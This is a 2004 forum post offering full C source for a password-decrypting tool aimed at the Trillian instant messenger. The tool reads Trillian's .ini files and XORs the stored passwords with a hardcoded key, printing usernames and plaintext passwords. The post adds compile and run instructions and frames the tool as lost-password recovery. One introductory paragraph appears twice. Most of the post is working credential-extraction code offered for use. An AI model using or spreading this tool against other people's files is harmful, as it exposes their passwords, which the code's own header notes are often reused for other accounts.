Lost your password on Trillian?
Posted: Sat Feb 21, 2004 6:58 pm
Here's a nifty util I saw on bugtraq a few years ago, but decided against posting it. Well, they've not fixed the bug since then, so I'm guessing the cat's out of the bag by now...
If you have access to a unix shell of some sort, and it has a compiler (type cc -v or gcc -v to check), all you have to do is paste this puppie to a new file, save it, and type gcc filename.c -o filename
Then just put one of Trillian's .ini files in the directory, and type ./filename <service>.ini
For example:
This will print out those passwords you lost so long ago. Handy if you registered an account under an e-mail address some years ago, and then somehow lost that address in question.
Remember kids, play nicely.

If you have access to a unix shell of some sort, and it has a compiler (type cc -v or gcc -v to check), all you have to do is paste this puppie to a new file, save it, and type gcc filename.c -o filename
Then just put one of Trillian's .ini files in the directory, and type ./filename <service>.ini
For example:
Code: Select all
./trill aim.ini
This will print out those passwords you lost so long ago. Handy if you registered an account under an e-mail address some years ago, and then somehow lost that address in question.
Remember kids, play nicely.

Code: Select all
/********************************
* trillian-ini-decrypt
* By The Coeus Group
* http://www.coeus-group.com
********************************
* Software: Trillian 0.73, possibly others.
* Issue: Weak "encryption" of saved passwords.
* Impact: Decryption of saved passwords.
* Severity: Medium. ish. The program only works locally, and only
* if the subject has saved their password, and really
* if someone can get into your AIM account, how earth-
* shattering is that??? However, since a lot of people
* use the same password for everything... What's easier,
* getting the password from Trillian, or Wells Fargo???
********************************
* Trillian is, according to trillian.cc, "...everything you need for instant
* messaging. Connect to ICQ®, AOL Instant Messenger(SM), MSN Messenger, Yahoo!
* Messenger and IRC in a single, sleek and slim interface."
*
* Upon examination of the Trillian directory (which defaults to
* C:\Program Files\Trillian\ ), it appears that passwords are stored in
* ini files that are located in {Path to Trillian}\users\{WindowsLogon}. The
* passwords are encrypted using a simple XOR with a key apparently uniform
* throughout every installation.
*
* This program takes, as command line argument(s), path(s) to these INI files.
* It will then display a list of usernames, "encrypted" passwords, and plaintext
* passwords.
*
* Evan Nemerson
* enemerson@coeus-group.com */
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#ifndef FALSE
#define FALSE 0
#endif
#ifndef TRUE
#define TRUE 1
#endif
void toupper(char* string);
int strlen(const char *s);
int strBeginsWith(const char *needle, const char *haystack);
int strIs(const char *subj, const char *eq);
void extractAcctounts(FILE *fp);
char *hex2str(char *string);
void decrypt();
void outPasswds();
void printhelp();
int main(int argc, char *argv[]);
struct account
{
char username[64];
char cyphertext[64];
char plaintext[32];
};
extern int errno;
struct account *pAccounts[32];
short int nAccounts = 0;
char key[] = "\xF3\x26\x81\xC4"
"\x39\x86\xDB\x92"
"\x71\xA3\xB9\xE6"
"\x53\x7A\x95\x7C";
void toupper(char* string)
{
short int x = 0;
for ( x = 0 ; x < (strlen(string)) ; x++ )
{
if ( ( string[x] > 96 ) && ( string[x] < 123 ) )
string[x] -= 32;
}
}
int strlen(const char *s)
{
short int n = 0;
while ( s[n] != 0 )
n++;
return n;
}
int strBeginsWith(const char *needle, const char *haystack)
{
short int x;
if ( strlen(needle) > strlen(haystack) )
return FALSE;
for ( x = 0 ; x < strlen(needle) ; x++ )
{
if ( needle[x] != haystack[x] )
return FALSE;
}
return TRUE;
}
int strIs(const char *subj, const char *eq)
{
short int x;
if ( strlen(subj) != strlen(eq) )
return FALSE;
for ( x = 0 ; x < strlen(subj) ; x++ )
{
if ( subj[x] != eq[x] )
return FALSE;
}
return TRUE;
}
void extractAcctounts(FILE *fp)
{
char buff[256], *ptr;
int x;
while ( !feof(fp) )
{
fgets(buff, 255, fp);
if ( strBeginsWith("name=", buff) )
{
buff[strlen(buff)-1] = 0;
pAccounts[nAccounts] = (struct account*)malloc(sizeof(struct account));
if ( pAccounts[nAccounts] == NULL )
{
perror("Failed to malloc()");
exit(errno);
}
ptr = pAccounts[nAccounts]->username;
for ( x = 5 ; x < strlen(buff) ; x++ )
{
ptr[x-5] = buff[x];
}
ptr[x-5] = 0;
nAccounts++;
}
if ( strBeginsWith("password=", buff) )
{
buff[strlen(buff)-1] = 0;
ptr = pAccounts[nAccounts-1]->cyphertext;
for ( x = 9 ; x < strlen(buff) ; x++ )
{
ptr[x-9] = buff[x];
}
ptr[x-9] = 0;
}
}
}
char *hex2str(char *string)
{
int x=0,n=0,i=0;
unsigned char hex[2];
unsigned char *out;
out = (unsigned char*)malloc((strlen(string)/2)+1);
if ( out == NULL )
{
perror("Failed to malloc()");
exit(errno);
}
// For hex number...
for ( x = 0 ; x < strlen(string) ; x+=2 )
{
out[i] = 0;
// Convert ASCII 0-F to decimal.
hex[0] = string[x]-48;
hex[1] = string[x+1]-48;
for ( n = 0 ; n < 2 ; n++ )
{
if ( hex[n] > 9 )
hex[n] -= 7;
}
out[i++] = (hex[0]*16)+hex[1];
}
out[i++] = 0;
return out;
}
void decrypt()
{
int n, x;
char *plain, *cypher;
for ( x = 0 ; x < nAccounts ; x++ )
{
cypher = hex2str(pAccounts[x]->cyphertext);
plain = pAccounts[x]->plaintext;
for ( n = 0 ; n < (strlen(cypher)-1) ; n++ )
{
plain[n] = cypher[n] ^ key[n];
}
}
}
void outPasswds()
{
int x;
printf(
"/----------------------------\\\n"
"| trillian-ini-decrypt |\n"
"| By The Coeus Group |\n"
"| http://www.coeus-group.com |\n"
"\\----------------------------/\n");
printf("Found %d accounts.\n\n", nAccounts);
for ( x = 0 ; x < nAccounts ; x++ )
{
printf( "Username: : %s\n"
"Password (encrypted): %s\n"
"Password (decrypted): %s\n\n",
pAccounts[x]->username,
pAccounts[x]->cyphertext,
pAccounts[x]->plaintext
);
}
}
void printhelp()
{
printf( "Just put the path to Trillian INI file as command-line\n"
"parameter. Don't forget to quote as needed. Will accept\n"
"multiple files.\n");
exit(0);
}
int main(int argc, char *argv[])
{
short int x;
FILE *fp;
if ( ( argc < 2 ) ) { printhelp(); }
if ( ( strIs(argv[1], "-h") ) |
( strIs(argv[1], "--help") ) |
( strIs(argv[1], "/?") )
) printhelp();
for ( x = 1 ; x < argc ; x++ )
{
fp = fopen(argv[x], "r");
if ( fp == NULL )
{
perror("Error");
exit(errno);
}
extractAcctounts(fp);
}
decrypt();
outPasswds();
return 0;
}